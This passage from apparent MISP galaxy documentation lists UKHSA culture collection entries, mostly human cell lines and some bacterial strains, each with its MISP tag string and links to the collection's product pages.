Table 29680. Table References

Links
https://www.culturecollections.org.uk/nop/product/nor-10

NCTC clone 1469

The tag is: *misp-galaxy:ukhsa-culture-collections="NCTC clone 1469"*

Table 29681. Table References

Links
https://www.culturecollections.org.uk/nop/product/nctc-clone-1469

MKL-1

The tag is: *misp-galaxy:ukhsa-culture-collections="MKL-1"*

Table 29682. Table References

Links
https://www.culturecollections.org.uk/nop/product/mkl-1

Mero-95

The tag is: *misp-galaxy:ukhsa-culture-collections="Mero-95"*

Table 29683. Table References

Links
https://www.culturecollections.org.uk/nop/product/mero-95

Mero-84

The tag is: *misp-galaxy:ukhsa-culture-collections="Mero-84"*

Table 29684. Table References

Links
https://www.culturecollections.org.uk/nop/product/mero-84

Mero-83

The tag is: *misp-galaxy:ukhsa-culture-collections="Mero-83"*

Table 29685. Table References

Links
https://www.culturecollections.org.uk/nop/product/mero-83

Mero-82

The tag is: *misp-galaxy:ukhsa-culture-collections="Mero-82"*

Table 29686. Table References

Links
https://www.culturecollections.org.uk/nop/product/mero-82

Mero-48a

The tag is: *misp-galaxy:ukhsa-culture-collections="Mero-48a"*

Table 29687. Table References

Links
https://www.culturecollections.org.uk/nop/product/mero-48a

Mero-25

The tag is: *misp-galaxy:ukhsa-culture-collections="Mero-25"*

Table 29688. Table References

Links
https://www.culturecollections.org.uk/nop/product/mero-25

Anaerobiospirillum thomasii

The tag is: *misp-galaxy:ukhsa-culture-collections="Anaerobiospirillum thomasii"*

Table 29689. Table References

Links
https://www.culturecollections.org.uk/nop/product/anaerobiospirillum-thomasii
https://www.culturecollections.org.uk/nop/product/anaerobiospirillum-thomasii-2

46Br.1G1

The tag is: *misp-galaxy:ukhsa-culture-collections="46Br.1G1"*

Table 29690. Table References

Links
https://www.culturecollections.org.uk/nop/product/46br1g1

GRE,G

The tag is: *misp-galaxy:ukhsa-culture-collections="GRE,G"*

Table 29691. Table References

Links
https://www.culturecollections.org.uk/nop/product/greg

Bacteroides uniformis

The tag is: *misp-galaxy:ukhsa-culture-collections="Bacteroides uniformis"*

Table 29692. Table References

Links
https://www.culturecollections.org.uk/nop/product/bacteroides-uniformis

Alcaligenes faecalis

The tag is: *misp-galaxy:ukhsa-culture-collections="Alcaligenes faecalis"*

Table 29693. Table References

Links
https://www.culturecollections.org.uk/nop/product/alcaligenes-faecalis-6
https://www.culturecollections.org.uk/nop/product/alcaligenes-faecalis-5
https://www.culturecollections.org.uk/nop/product/alcaligenes-faecalis-2
https://www.culturecollections.org.uk/nop/product/alcaligenes-faecalis-4
https://www.culturecollections.org.uk/nop/product/alcaligenes-faecalis

Corynebacterium pseudodiphtheriticum

The tag is: *misp-galaxy:ukhsa-culture-collections="Corynebacterium pseudodiphtheriticum"*

Table 29694. Table References

Links
https://www.culturecollections.org.uk/nop/product/corynebacterium-pseudodiphtheriticum-6
https://www.culturecollections.org.uk/nop/product/corynebacterium-pseudodiphtheriticum-5
https://www.culturecollections.org.uk/nop/product/corynebacterium-pseudodiphtheriticum-4
https://www.culturecollections.org.uk/nop/product/corynebacterium-pseudodiphtheriticum
https://www.culturecollections.org.uk/nop/product/corynebacterium-pseudodiphtheriticum-2
https://www.culturecollections.org.uk/nop/product/corynebacterium-pseudodiphtheriticum-3

Kocuria kristinae

The tag is: *misp-galaxy:ukhsa-culture-collections="Kocuria kristinae"*

Table 29695. Table References

Links
https://www.culturecollections.org.uk/nop/product/kocuria-kristinae

Kocuria rhizophila

The tag is: *misp-galaxy:ukhsa-culture-collections="Kocuria rhizophila"*

Table 29696. Table References

Links
https://www.culturecollections.org.uk/nop/product/kocuria-rhizophila

Actinomyces odontolyticus

The tag is: *misp-galaxy:ukhsa-culture-collections="Actinomyces odontolyticus"*

Table 29697. Table References

Links
https://www.culturecollections.org.uk/nop/product/actinomyces-odontolyticus-2
https://www.culturecollections.org.uk/nop/product/actinomyces-odontolyticus

Porphyromonas gingivalis

The tag is: *misp-galaxy:ukhsa-culture-collections="Porphyromonas gingivalis"*

Table 29698. Table References

Links
https://www.culturecollections.org.uk/nop/product/porphyromonas-gingivalis

Peptostreptococcus anaerobius

The tag is: *misp-galaxy:ukhsa-culture-collections="Peptostreptococcus anaerobius"*

Table 29699. Table References

Links
https://www.culturecollections.org.uk/nop/product/peptostreptococcus-anaerobius

Burkholderia cepacia

The tag is: *misp-galaxy:ukhsa-culture-collections="Burkholderia cepacia"*

Table 29700. Table References

Links
https://www.culturecollections.org.uk/nop/product/burkholderia-cepacia
https://www.culturecollections.org.uk/nop/product/burkholderia-cepacia-2

https://www.culturecollections.org.uk/nop/product/burkholderia-cepacia-4
https://www.culturecollections.org.uk/nop/product/burkholderia-cepacia-3

Clostridium sordellii

The tag is: *misp-galaxy:ukhsa-culture-collections="Clostridium sordellii"*

Table 29701. Table References

Links
https://www.culturecollections.org.uk/nop/product/clostridium-sordellii

Vero C1008

The tag is: *misp-galaxy:ukhsa-culture-collections="Vero C1008"*

Table 29702. Table References

Links
https://www.culturecollections.org.uk/nop/product/vero-c1008

H376

The tag is: *misp-galaxy:ukhsa-culture-collections="H376"*

Table 29703. Table References

Links
https://www.culturecollections.org.uk/nop/product/h376

H413

The tag is: *misp-galaxy:ukhsa-culture-collections="H413"*

Table 29704. Table References

Links
https://www.culturecollections.org.uk/nop/product/h413

CAKI 2

The tag is: *misp-galaxy:ukhsa-culture-collections="CAKI 2"*

Table 29705. Table References

Links
https://www.culturecollections.org.uk/nop/product/caki-2

HuP-T3

The tag is: *misp-galaxy:ukhsa-culture-collections="HuP-T3"*

Table 29706. Table References

Links
https://www.culturecollections.org.uk/nop/product/hup-t3

COLO 679

The tag is: *misp-galaxy:ukhsa-culture-collections="COLO 679"*

Table 29707. Table References

Links
https://www.culturecollections.org.uk/nop/product/colo-679

MFE-280

The tag is: *misp-galaxy:ukhsa-culture-collections="MFE-280"*

Table 29708. Table References

Links
https://www.culturecollections.org.uk/nop/product/mfe-280

NH17

The tag is: *misp-galaxy:ukhsa-culture-collections="NH17"*

Table 29709. Table References

Links
https://www.culturecollections.org.uk/nop/product/nh17

HFFF2

The tag is: *misp-galaxy:ukhsa-culture-collections="HFFF2"*

Table 29710. Table References

Links
https://www.culturecollections.org.uk/nop/product/hfff2

MOG-G-CCM

The tag is: *misp-galaxy:ukhsa-culture-collections="MOG-G-CCM"*

Table 29711. Table References

Links
https://www.culturecollections.org.uk/nop/product/mog-g-ccm

CCRF-HSB-2

The tag is: *misp-galaxy:ukhsa-culture-collections="CCRF-HSB-2"*

Table 29712. Table References

Links
https://www.culturecollections.org.uk/nop/product/ccrf-hsb-2

CM3.B6

The tag is: *misp-galaxy:ukhsa-culture-collections="CM3.B6"*

Table 29713. Table References

Links
https://www.culturecollections.org.uk/nop/product/cm3b6

B12.F8

The tag is: *misp-galaxy:ukhsa-culture-collections="B12.F8"*

Table 29714. Table References

Links
https://www.culturecollections.org.uk/nop/product/b12f8

60H9(9)D10.E6

The tag is: *misp-galaxy:ukhsa-culture-collections="60H9(9)D10.E6"*

Table 29715. Table References

Links
https://www.culturecollections.org.uk/nop/product/60h99d10e6

81.3

The tag is: *misp-galaxy:ukhsa-culture-collections="81.3"*

Table 29716. Table References

Links
https://www.culturecollections.org.uk/nop/product/813

PLC/PRF/5

The tag is: *misp-galaxy:ukhsa-culture-collections="PLC/PRF/5"*

Table 29717. Table References

Links
https://www.culturecollections.org.uk/nop/product/plcprf5

EJ138

The tag is: *misp-galaxy:ukhsa-culture-collections="EJ138"*

Table 29718. Table References

Links
https://www.culturecollections.org.uk/nop/product/ej138

U266B1

The tag is: *misp-galaxy:ukhsa-culture-collections="U266B1"*

Table 29719. Table References

Links
https://www.culturecollections.org.uk/nop/product/u266b1

MRC-5 SV1 TG2

The tag is: *misp-galaxy:ukhsa-culture-collections="MRC-5 SV1 TG2"*

Table 29720. Table References

Links
https://www.culturecollections.org.uk/nop/product/mrc-5-sv1-tg2

MRC-9

The tag is: *misp-galaxy:ukhsa-culture-collections="MRC-9"*

Table 29721. Table References

Links
https://www.culturecollections.org.uk/nop/product/mrc-9

U937

The tag is: *misp-galaxy:ukhsa-culture-collections="U937"*

Table 29722. Table References

Links
https://www.culturecollections.org.uk/nop/product/u937

HF19

The tag is: *misp-galaxy:ukhsa-culture-collections="HF19"*

Table 29723. Table References

Links
https://www.culturecollections.org.uk/nop/product/hf19

K562 cl.6

The tag is: *misp-galaxy:ukhsa-culture-collections="K562 cl.6"*

Table 29724. Table References

Links
https://www.culturecollections.org.uk/nop/product/k562-cl6

S1814.PB5

The tag is: *misp-galaxy:ukhsa-culture-collections="S1814.PB5"*

Table 29725. Table References

Links
https://www.culturecollections.org.uk/nop/product/s1814pb5

CALU 1

The tag is: *misp-galaxy:ukhsa-culture-collections="CALU 1"*

Table 29726. Table References

Links
https://www.culturecollections.org.uk/nop/product/calu-1

G-361

The tag is: *misp-galaxy:ukhsa-culture-collections="G-361"*

Table 29727. Table References

Links
https://www.culturecollections.org.uk/nop/product/g-361

MRC-5 SV2

The tag is: *misp-galaxy:ukhsa-culture-collections="MRC-5 SV2"*

Table 29728. Table References

Links
https://www.culturecollections.org.uk/nop/product/mrc-5-sv2

293 GTP-AC-free

The tag is: *misp-galaxy:ukhsa-culture-collections="293 GTP-AC-free"*

Table 29729. Table References

Links
https://www.culturecollections.org.uk/nop/product/293-gtp-ac-free

293 N3S

The tag is: *misp-galaxy:ukhsa-culture-collections="293 N3S"*

Table 29730. Table References

Links
https://www.culturecollections.org.uk/nop/product/293-n3s

22Rv1

The tag is: *misp-galaxy:ukhsa-culture-collections="22Rv1"*

Table 29731. Table References

Links
https://www.culturecollections.org.uk/nop/product/22rv1

F-36P

The tag is: *misp-galaxy:ukhsa-culture-collections="F-36P"*

Table 29732. Table References

Links
https://www.culturecollections.org.uk/nop/product/f-36p

Ishikawa

The tag is: *misp-galaxy:ukhsa-culture-collections="Ishikawa"*

Table 29733. Table References

Links
https://www.culturecollections.org.uk/nop/product/ishikawa

LB253

The tag is: *misp-galaxy:ukhsa-culture-collections="LB253"*

Table 29734. Table References

Links
https://www.culturecollections.org.uk/nop/product/lb253

LB42

The tag is: *misp-galaxy:ukhsa-culture-collections="LB42"*

Table 29735. Table References

Links
https://www.culturecollections.org.uk/nop/product/lb42

HL

The tag is: *misp-galaxy:ukhsa-culture-collections="HL"*

Table 29736. Table References

Links
https://www.culturecollections.org.uk/nop/product/hl

Eos-HL-60

The tag is: *misp-galaxy:ukhsa-culture-collections="Eos-HL-60"*

Table 29737. Table References

Links
https://www.culturecollections.org.uk/nop/product/eos-hl-60

JVM-13

The tag is: *misp-galaxy:ukhsa-culture-collections="JVM-13"*

Table 29738. Table References

Links
https://www.culturecollections.org.uk/nop/product/jvm-13

JVM-2

The tag is: *misp-galaxy:ukhsa-culture-collections="JVM-2"*

Table 29739. Table References

Links
https://www.culturecollections.org.uk/nop/product/jvm-2

J.CaM1.6

The tag is: *misp-galaxy:ukhsa-culture-collections="J.CaM1.6"*

Table 29740. Table References

Links
https://www.culturecollections.org.uk/nop/product/jcam16

MOR/0.4R

The tag is: *misp-galaxy:ukhsa-culture-collections="MOR/0.4R"*

Table 29741. Table References

Links
https://www.culturecollections.org.uk/nop/product/mor04r

NCI-H69VCR/R

The tag is: *misp-galaxy:ukhsa-culture-collections="NCI-H69VCR/R"*

Table 29742. Table References

Links
https://www.culturecollections.org.uk/nop/product/nci-h69vcrr

NCI-H69/LX4

The tag is: *misp-galaxy:ukhsa-culture-collections="NCI-H69/LX4"*

Table 29743. Table References

Links
https://www.culturecollections.org.uk/nop/product/nci-h69lx4

FLYA13

The tag is: *misp-galaxy:ukhsa-culture-collections="FLYA13"*

Table 29744. Table References

Links
https://www.culturecollections.org.uk/nop/product/flya13

DMS 153

The tag is: *misp-galaxy:ukhsa-culture-collections="DMS 153"*

Table 29745. Table References

Links
https://www.culturecollections.org.uk/nop/product/dms-153

DMS 53

The tag is: *misp-galaxy:ukhsa-culture-collections="DMS 53"*

Table 29746. Table References

Links
https://www.culturecollections.org.uk/nop/product/dms-53

MES-SA

The tag is: *misp-galaxy:ukhsa-culture-collections="MES-SA"*

Table 29747. Table References

Links
https://www.culturecollections.org.uk/nop/product/mes-sa

NCI-H929

The tag is: *misp-galaxy:ukhsa-culture-collections="NCI-H929"*

Table 29748. Table References

Links
https://www.culturecollections.org.uk/nop/product/nci-h929

RPMI 8866

The tag is: *misp-galaxy:ukhsa-culture-collections="RPMI 8866"*

Table 29749. Table References

Links
https://www.culturecollections.org.uk/nop/product/rpmi-8866

SK-N-AS

The tag is: *misp-galaxy:ukhsa-culture-collections="SK-N-AS"*

Table 29750. Table References

Links
https://www.culturecollections.org.uk/nop/product/sk-n-as

NCI-H69/CPR

The tag is: *misp-galaxy:ukhsa-culture-collections="NCI-H69/CPR"*

Table 29751. Table References

Links
https://www.culturecollections.org.uk/nop/product/nci-h69cpr

LS 123

The tag is: *misp-galaxy:ukhsa-culture-collections="LS 123"*

Table 29752. Table References

Links
https://www.culturecollections.org.uk/nop/product/ls-123

SK-PN-DW

The tag is: *misp-galaxy:ukhsa-culture-collections="SK-PN-DW"*

Table 29753. Table References

Links
https://www.culturecollections.org.uk/nop/product/sk-pn-dw

8305C

The tag is: *misp-galaxy:ukhsa-culture-collections="8305C"*

Table 29754. Table References

Links
https://www.culturecollections.org.uk/nop/product/8305c

COLO 794

The tag is: *misp-galaxy:ukhsa-culture-collections="COLO 794"*

Table 29755. Table References

Links
https://www.culturecollections.org.uk/nop/product/colo-794

COLO 800

The tag is: *misp-galaxy:ukhsa-culture-collections="COLO 800"*

Table 29756. Table References

Links
https://www.culturecollections.org.uk/nop/product/colo-800

FTC-238

The tag is: *misp-galaxy:ukhsa-culture-collections="FTC-238"*

Table 29757. Table References

Links
https://www.culturecollections.org.uk/nop/product/ftc-238

NCI-H727

The tag is: *misp-galaxy:ukhsa-culture-collections="NCI-H727"*

Table 29758. Table References

Links
https://www.culturecollections.org.uk/nop/product/nci-h727

SK-N-SH

The tag is: *misp-galaxy:ukhsa-culture-collections="SK-N-SH"*

Table 29759. Table References

Links
https://www.culturecollections.org.uk/nop/product/sk-n-sh

SK MES 1

The tag is: *misp-galaxy:ukhsa-culture-collections="SK MES 1"*

Table 29760. Table References

Links
https://www.culturecollections.org.uk/nop/product/sk-mes-1

SK LU 1

The tag is: *misp-galaxy:ukhsa-culture-collections="SK LU 1"*

Table 29761. Table References

Links
https://www.culturecollections.org.uk/nop/product/sk-lu-1

BxPC-3

The tag is: *misp-galaxy:ukhsa-culture-collections="BxPC-3"*

Table 29762. Table References

Links
https://www.culturecollections.org.uk/nop/product/bxpc-3

COLO 720 L

The tag is: *misp-galaxy:ukhsa-culture-collections="COLO 720 L"*

Table 29763. Table References

Links
https://www.culturecollections.org.uk/nop/product/colo-720-l

COLO 699 N

The tag is: *misp-galaxy:ukhsa-culture-collections="COLO 699 N"*

Table 29764. Table References

Links
https://www.culturecollections.org.uk/nop/product/colo-699-n

COLO 853

The tag is: *misp-galaxy:ukhsa-culture-collections="COLO 853"*

Table 29765. Table References

Links
https://www.culturecollections.org.uk/nop/product/colo-853

COLO 857

The tag is: *misp-galaxy:ukhsa-culture-collections="COLO 857"*

Table 29766. Table References

Links
https://www.culturecollections.org.uk/nop/product/colo-857

COLO 858

The tag is: *misp-galaxy:ukhsa-culture-collections="COLO 858"*

Table 29767. Table References

Links
https://www.culturecollections.org.uk/nop/product/colo-858

COLO 839

The tag is: *misp-galaxy:ukhsa-culture-collections="COLO 839"*

Table 29768. Table References

Links
https://www.culturecollections.org.uk/nop/product/colo-839

HEL92.1.7

The tag is: *misp-galaxy:ukhsa-culture-collections="HEL92.1.7"*

Table 29769. Table References

Links
https://www.culturecollections.org.uk/nop/product/hel9217

CESS

The tag is: *misp-galaxy:ukhsa-culture-collections="CESS"*

Table 29770. Table References

Links
https://www.culturecollections.org.uk/nop/product/cess

ECV304

The tag is: *misp-galaxy:ukhsa-culture-collections="ECV304"*

Table 29771. Table References

Links
https://www.culturecollections.org.uk/nop/product/ecv304

T98G

The tag is: *misp-galaxy:ukhsa-culture-collections="T98G"*

Table 29772. Table References

Links
https://www.culturecollections.org.uk/nop/product/t98g

TT

The tag is: *misp-galaxy:ukhsa-culture-collections="TT"*

Table 29773. Table References

Links
https://www.culturecollections.org.uk/nop/product/tt

HMVII

The tag is: *misp-galaxy:ukhsa-culture-collections="HMVII"*

Table 29774. Table References

Links
https://www.culturecollections.org.uk/nop/product/hmvii

KYSE-410

The tag is: *misp-galaxy:ukhsa-culture-collections="KYSE-410"*

Table 29775. Table References

Links
https://www.culturecollections.org.uk/nop/product/kyse-410

RT4

The tag is: *misp-galaxy:ukhsa-culture-collections="RT4"*

Table 29776. Table References

Links
https://www.culturecollections.org.uk/nop/product/rt4

SK-HEP-1

The tag is: *misp-galaxy:ukhsa-culture-collections="SK-HEP-1"*

Table 29777. Table References

Links
https://www.culturecollections.org.uk/nop/product/sk-hep-1

WIL2 NS

The tag is: *misp-galaxy:ukhsa-culture-collections="WIL2 NS"*

Table 29778. Table References

Links
https://www.culturecollections.org.uk/nop/product/wil2-ns

SW 1463

The tag is: *misp-galaxy:ukhsa-culture-collections="SW 1463"*

Table 29779. Table References

Links
https://www.culturecollections.org.uk/nop/product/sw-1463

G-402

The tag is: *misp-galaxy:ukhsa-culture-collections="G-402"*

Table 29780. Table References

Links
https://www.culturecollections.org.uk/nop/product/g-402

RAMOS-AW

The tag is: *misp-galaxy:ukhsa-culture-collections="RAMOS-AW"*

Table 29781. Table References

Links
https://www.culturecollections.org.uk/nop/product/ramos-aw

RAMOS

The tag is: *misp-galaxy:ukhsa-culture-collections="RAMOS"*

Table 29782. Table References

Links
https://www.culturecollections.org.uk/nop/product/ramos

Detroit 539

The tag is: *misp-galaxy:ukhsa-culture-collections="Detroit 539"*

Table 29783. Table References

Links
https://www.culturecollections.org.uk/nop/product/detroit-539

GS-109-V-63

The tag is: *misp-galaxy:ukhsa-culture-collections="GS-109-V-63"*

Table 29784. Table References

Links
https://www.culturecollections.org.uk/nop/product/gs-109-v-63

MC116

The tag is: *misp-galaxy:ukhsa-culture-collections="MC116"*

Table 29785. Table References

Links
https://www.culturecollections.org.uk/nop/product/mc116

Detroit 510

The tag is: *misp-galaxy:ukhsa-culture-collections="Detroit 510"*

Table 29786. Table References

Links
https://www.culturecollections.org.uk/nop/product/detroit-510

KU-812F

The tag is: *misp-galaxy:ukhsa-culture-collections="KU-812F"*

Table 29787. Table References

Links
https://www.culturecollections.org.uk/nop/product/ku-812f

1306

The tag is: *misp-galaxy:ukhsa-culture-collections="1306"*

Table 29788. Table References

Links
https://www.culturecollections.org.uk/nop/product/1306

SW 1417

The tag is: *misp-galaxy:ukhsa-culture-collections="SW 1417"*

Table 29789. Table References

Links
https://www.culturecollections.org.uk/nop/product/sw-1417

LL86 (LeSa)

The tag is: *misp-galaxy:ukhsa-culture-collections="LL86 (LeSa)"*

Table 29790. Table References

Links
https://www.culturecollections.org.uk/nop/product/ll86-lesa

PA-1

The tag is: *misp-galaxy:ukhsa-culture-collections="PA-1"*

Table 29791. Table References

Links
https://www.culturecollections.org.uk/nop/product/pa-1

153BR

The tag is: *misp-galaxy:ukhsa-culture-collections="153BR"*

Table 29792. Table References

Links
https://www.culturecollections.org.uk/nop/product/153br

ARH 77

The tag is: *misp-galaxy:ukhsa-culture-collections="ARH 77"*

Table 29793. Table References

Links
https://www.culturecollections.org.uk/nop/product/arh-77

SW 48

The tag is: *misp-galaxy:ukhsa-culture-collections="SW 48"*

Table 29794. Table References

Links
https://www.culturecollections.org.uk/nop/product/sw-48

HFL1

The tag is: *misp-galaxy:ukhsa-culture-collections="HFL1"*

Table 29795. Table References

Links
https://www.culturecollections.org.uk/nop/product/hfl1

AGS

The tag is: *misp-galaxy:ukhsa-culture-collections="AGS"*

Table 29796. Table References

Links
https://www.culturecollections.org.uk/nop/product/ags

HL60 Ast.3

The tag is: *misp-galaxy:ukhsa-culture-collections="HL60 Ast.3"*

Table 29797. Table References

Links
https://www.culturecollections.org.uk/nop/product/hl60-ast3

SW480

The tag is: *misp-galaxy:ukhsa-culture-collections="SW480"*

Table 29798. Table References

Links
https://www.culturecollections.org.uk/nop/product/sw480

RPMI 2650

The tag is: *misp-galaxy:ukhsa-culture-collections="RPMI 2650"*

Table 29799. Table References

Links
https://www.culturecollections.org.uk/nop/product/rpmi-2650

Jurkat E6.1

The tag is: *misp-galaxy:ukhsa-culture-collections="Jurkat E6.1"*

Table 29800. Table References

Links
https://www.culturecollections.org.uk/nop/product/jurkat-e61

Namalwa

The tag is: *misp-galaxy:ukhsa-culture-collections="Namalwa"*

Table 29801. Table References

Links
https://www.culturecollections.org.uk/nop/product/namalwa

RPMI 7666

The tag is: *misp-galaxy:ukhsa-culture-collections="RPMI 7666"*

Table 29802. Table References

Links
https://www.culturecollections.org.uk/nop/product/rpmi-7666

TK6TGR

The tag is: *misp-galaxy:ukhsa-culture-collections="TK6TGR"*

Table 29803. Table References

Links
https://www.culturecollections.org.uk/nop/product/tk6tgr

SW 13

The tag is: *misp-galaxy:ukhsa-culture-collections="SW 13"*

Table 29804. Table References

Links
https://www.culturecollections.org.uk/nop/product/sw-13

G-401

The tag is: *misp-galaxy:ukhsa-culture-collections="G-401"*

Table 29805. Table References

Links
https://www.culturecollections.org.uk/nop/product/g-401

KATO-III

The tag is: *misp-galaxy:ukhsa-culture-collections="KATO-III"*

Table 29806. Table References

Links
https://www.culturecollections.org.uk/nop/product/kato-iii

KG1a

The tag is: *misp-galaxy:ukhsa-culture-collections="KG1a"*

Table 29807. Table References

Links
https://www.culturecollections.org.uk/nop/product/kg1a

KG-1

The tag is: *misp-galaxy:ukhsa-culture-collections="KG-1"*

Table 29808. Table References

Links
https://www.culturecollections.org.uk/nop/product/kg-1

ZR-75-1

The tag is: *misp-galaxy:ukhsa-culture-collections="ZR-75-1"*

Table 29809. Table References

Links
https://www.culturecollections.org.uk/nop/product/zr-75-1

UM-UC-16

The tag is: *misp-galaxy:ukhsa-culture-collections="UM-UC-16"*

Table 29810. Table References

Links
https://www.culturecollections.org.uk/nop/product/um-uc-16

UM-UC-13

The tag is: *misp-galaxy:ukhsa-culture-collections="UM-UC-13"*

Table 29811. Table References

Links
https://www.culturecollections.org.uk/nop/product/um-uc-13

UM-UC-7

The tag is: *misp-galaxy:ukhsa-culture-collections="UM-UC-7"*

Table 29812. Table References

Links
https://www.culturecollections.org.uk/nop/product/um-uc-7-2

UM-UC-6

The tag is: *misp-galaxy:ukhsa-culture-collections="UM-UC-6"*

Table 29813. Table References

Links
https://www.culturecollections.org.uk/nop/product/um-uc-6

UM-UC-5

The tag is: *misp-galaxy:ukhsa-culture-collections="UM-UC-5"*

Table 29814. Table References

Links
https://www.culturecollections.org.uk/nop/product/um-uc-5

UM-UC-4

The tag is: *misp-galaxy:ukhsa-culture-collections="UM-UC-4"*

Table 29815. Table References

Links
https://www.culturecollections.org.uk/nop/product/um-uc-4

UM-UC-11

The tag is: *misp-galaxy:ukhsa-culture-collections="UM-UC-11"*

Table 29816. Table References

Links
https://www.culturecollections.org.uk/nop/product/um-uc-11

UM-RC-7

The tag is: *misp-galaxy:ukhsa-culture-collections="UM-RC-7"*

Table 29817. Table References

Links
https://www.culturecollections.org.uk/nop/product/um-rc-7

UM-RC-6

The tag is: *misp-galaxy:ukhsa-culture-collections="UM-RC-6"*

Table 29818. Table References

Links
https://www.culturecollections.org.uk/nop/product/um-rc-6

UM-RC-3

The tag is: *misp-galaxy:ukhsa-culture-collections="UM-RC-3"*

Table 29819. Table References

Links
https://www.culturecollections.org.uk/nop/product/um-rc-3

DLD-1

The tag is: *misp-galaxy:ukhsa-culture-collections="DLD-1"*

Table 29820. Table References

Links
https://www.culturecollections.org.uk/nop/product/dld-1

Detroit 562

The tag is: *misp-galaxy:ukhsa-culture-collections="Detroit 562"*

Table 29821. Table References

Links
https://www.culturecollections.org.uk/nop/product/detroit-562

Detroit 551

The tag is: *misp-galaxy:ukhsa-culture-collections="Detroit 551"*

Table 29822. Table References

Links
https://www.culturecollections.org.uk/nop/product/detroit-551

DBTRG.05MG

The tag is: *misp-galaxy:ukhsa-culture-collections="DBTRG.05MG"*

Table 29823. Table References

Links
https://www.culturecollections.org.uk/nop/product/dbtrg05mg

COLO 201

The tag is: *misp-galaxy:ukhsa-culture-collections="COLO 201"*

Table 29824. Table References

Links
https://www.culturecollections.org.uk/nop/product/colo-201

COLO 206F

The tag is: *misp-galaxy:ukhsa-culture-collections="COLO 206F"*

Table 29825. Table References

Links
https://www.culturecollections.org.uk/nop/product/colo-206f

CCD-39Lu

The tag is: *misp-galaxy:ukhsa-culture-collections="CCD-39Lu"*

Table 29826. Table References

Links
https://www.culturecollections.org.uk/nop/product/ccd-39lu

CCD-37Lu

The tag is: *misp-galaxy:ukhsa-culture-collections="CCD-37Lu"*

Table 29827. Table References

Links
https://www.culturecollections.org.uk/nop/product/ccd-37lu

CCD 16Lu

The tag is: *misp-galaxy:ukhsa-culture-collections="CCD 16Lu"*

Table 29828. Table References

Links
https://www.culturecollections.org.uk/nop/product/ccd-16lu

COR-L23/CPR

The tag is: *misp-galaxy:ukhsa-culture-collections="COR-L23/CPR"*

Table 29829. Table References

Links
https://www.culturecollections.org.uk/nop/product/cor-l23cpr

COR-L23/5010

The tag is: *misp-galaxy:ukhsa-culture-collections="COR-L23/5010"*

Table 29830. Table References

Links
https://www.culturecollections.org.uk/nop/product/cor-l235010

COR-L23/R23-

The tag is: *misp-galaxy:ukhsa-culture-collections="COR-L23/R23-"*

Table 29831. Table References

Links
https://www.culturecollections.org.uk/nop/product/cor-l23r23-

1BR.3.N

The tag is: *misp-galaxy:ukhsa-culture-collections="1BR.3.N"*

Table 29832. Table References

Links
https://www.culturecollections.org.uk/nop/product/1br3n

LB185

The tag is: *misp-galaxy:ukhsa-culture-collections="LB185"*

Table 29833. Table References

Links
https://www.culturecollections.org.uk/nop/product/lb185

Shmac 4

The tag is: *misp-galaxy:ukhsa-culture-collections="Shmac 4"*

Table 29834. Table References

Links
https://www.culturecollections.org.uk/nop/product/shmac-4

Shmac 5

The tag is: *misp-galaxy:ukhsa-culture-collections="Shmac 5"*

Table 29835. Table References

Links
https://www.culturecollections.org.uk/nop/product/shmac-5

KARPAS-1718

The tag is: *misp-galaxy:ukhsa-culture-collections="KARPAS-1718"*

Table 29836. Table References

Links
https://www.culturecollections.org.uk/nop/product/karpas-1718

HHKB

The tag is: *misp-galaxy:ukhsa-culture-collections="HHKB"*

Table 29837. Table References

Links
https://www.culturecollections.org.uk/nop/product/hhkb

EMJ

The tag is: *misp-galaxy:ukhsa-culture-collections="EMJ"*

Table 29838. Table References

Links
https://www.culturecollections.org.uk/nop/product/emj

HERLUF

The tag is: *misp-galaxy:ukhsa-culture-collections="HERLUF"*

Table 29839. Table References

Links
https://www.culturecollections.org.uk/nop/product/herluf

KT12

The tag is: *misp-galaxy:ukhsa-culture-collections="KT12"*

Table 29840. Table References

Links
https://www.culturecollections.org.uk/nop/product/kt12

RSH

The tag is: *misp-galaxy:ukhsa-culture-collections="RSH"*

Table 29841. Table References

Links
https://www.culturecollections.org.uk/nop/product/rsh

BOLETH

The tag is: *misp-galaxy:ukhsa-culture-collections="BOLETH"*

Table 29842. Table References

Links
https://www.culturecollections.org.uk/nop/product/boleth

SPO010

The tag is: *misp-galaxy:ukhsa-culture-collections="SPO010"*

Table 29843. Table References

Links
https://www.culturecollections.org.uk/nop/product/spo010

SWEIG007

The tag is: *misp-galaxy:ukhsa-culture-collections="SWEIG007"*

Table 29844. Table References

Links
https://www.culturecollections.org.uk/nop/product/sweig007

EK

The tag is: *misp-galaxy:ukhsa-culture-collections="EK"*

Table 29845. Table References

Links
https://www.culturecollections.org.uk/nop/product/ek

WDV

The tag is: *misp-galaxy:ukhsa-culture-collections="WDV"*

Table 29846. Table References

Links
https://www.culturecollections.org.uk/nop/product/wdv

MADURA

The tag is: *misp-galaxy:ukhsa-culture-collections="MADURA"*

Table 29847. Table References

Links
https://www.culturecollections.org.uk/nop/product/madura

KT14

The tag is: *misp-galaxy:ukhsa-culture-collections="KT14"*

Table 29848. Table References

Links
https://www.culturecollections.org.uk/nop/product/kt14

TER-ND

The tag is: *misp-galaxy:ukhsa-culture-collections="TER-ND"*

Table 29849. Table References

Links
https://www.culturecollections.org.uk/nop/product/ter-nd

JY

The tag is: *misp-galaxy:ukhsa-culture-collections="JY"*

Table 29850. Table References

Links
https://www.culturecollections.org.uk/nop/product/jy

LB

The tag is: *misp-galaxy:ukhsa-culture-collections="LB"*

Table 29851. Table References

Links
https://www.culturecollections.org.uk/nop/product/lb

SHJO

The tag is: *misp-galaxy:ukhsa-culture-collections="SHJO"*

Table 29852. Table References

Links
https://www.culturecollections.org.uk/nop/product/shjo

TO

The tag is: *misp-galaxy:ukhsa-culture-collections="TO"*

Table 29853. Table References

Links
https://www.culturecollections.org.uk/nop/product/to

HCA-7 Colony 29

The tag is: *misp-galaxy:ukhsa-culture-collections="HCA-7 Colony 29"*

Table 29854. Table References

Links
https://www.culturecollections.org.uk/nop/product/hca-7-colony-29

HCA-7 Colony 6

The tag is: *misp-galaxy:ukhsa-culture-collections="HCA-7 Colony 6"*

Table 29855. Table References

Links
https://www.culturecollections.org.uk/nop/product/hca-7-colony-6

HCA-7 Colony 30

The tag is: *misp-galaxy:ukhsa-culture-collections="HCA-7 Colony 30"*

Table 29856. Table References

Links
https://www.culturecollections.org.uk/nop/product/hca-7-colony-30

HCA-7 Colony 3

The tag is: *misp-galaxy:ukhsa-culture-collections="HCA-7 Colony 3"*

Table 29857. Table References

Links
https://www.culturecollections.org.uk/nop/product/hca-7-colony-3

HCA-7 Colony 26

